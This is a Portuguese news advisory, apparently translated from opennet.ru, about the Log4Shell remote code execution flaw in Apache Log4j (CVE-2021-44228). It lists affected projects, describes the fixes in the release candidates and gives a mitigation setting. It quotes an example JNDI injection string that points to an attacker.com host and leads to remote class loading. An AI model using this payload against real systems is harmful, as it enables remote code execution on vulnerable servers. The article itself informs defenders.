No Apache Log4j, um popular framework para gerenciamento de logs em aplicações Java, foi identificada uma vulnerabilidade crítica que permite a execução de código arbitrário ao gravar um valor especialmente formatado no log no formato "{jndi:URL}". O ataque pode ser realizado em aplicações Java que registram valores obtidos de fontes externas, por exemplo, ao exibir valores problemáticos em mensagens de erro.
Observa-se que quase todos os projetos que utilizam frameworks como Apache Struts, Apache Solr, Apache Druid ou Apache Flink estão vulneráveis, incluindo Steam, Apple iCloud, clientes e servidores do jogo Minecraft. Espera-se que a vulnerabilidade resulte em uma onda de ataques em massa a aplicações corporativas, repetindo a história de vulnerabilidades críticas no framework Apache Struts, que, segundo estimativas, é utilizado em 65% das aplicações web das empresas da lista Fortune 100. Já foram registradas tentativas de varredura de rede em busca de sistemas vulneráveis.
O problema é agravado pelo fato de que já foi publicado um exploit funcional, mas correções para as branches estáveis ainda não foram fornecidas. Nenhum identificador CVE foi atribuído até o momento. A correção foi incluída apenas na branch de teste log4j-2.15.0-rc1. Como uma medida temporária para bloquear a vulnerabilidade, recomenda-se definir o parâmetro log4j2.formatMsgNoLookups como true.
O problema foi causado pelo fato de que o log4j suporta o processamento de máscaras especiais "{}" nas strings gravadas no log, nas quais poderiam ser executadas requisições JNDI (Java Naming and Directory Interface). O ataque consiste na transmissão de uma string com a substituição "${jndi:ldap://attacker.com/a}", ao processar a qual o log4j enviará um servidor pedido LDAP para o caminho da classe Java no attacker.com. O caminho retornado servidor do atacante (por exemplo, http://second-stage.attacker.com/Exploit.class) será carregado e executado no contexto do processo atual, permitindo ao atacante executar código arbitrário no sistema com os direitos da aplicação atual.
Adendo 1: A vulnerabilidade recebeu o identificador CVE-2021-44228.
Adendo 2: Foi identificado um método para contornar a proteção adicionada na versão log4j-2.15.0-rc1. Uma nova atualização log4j-2.15.0-rc2 foi proposta com uma proteção mais abrangente contra a vulnerabilidade. Destaca-se uma alteração no código relacionada à ausência de encerramento em caso de utilização de um URL JNDI mal formatado.
Fonte: opennet.ru
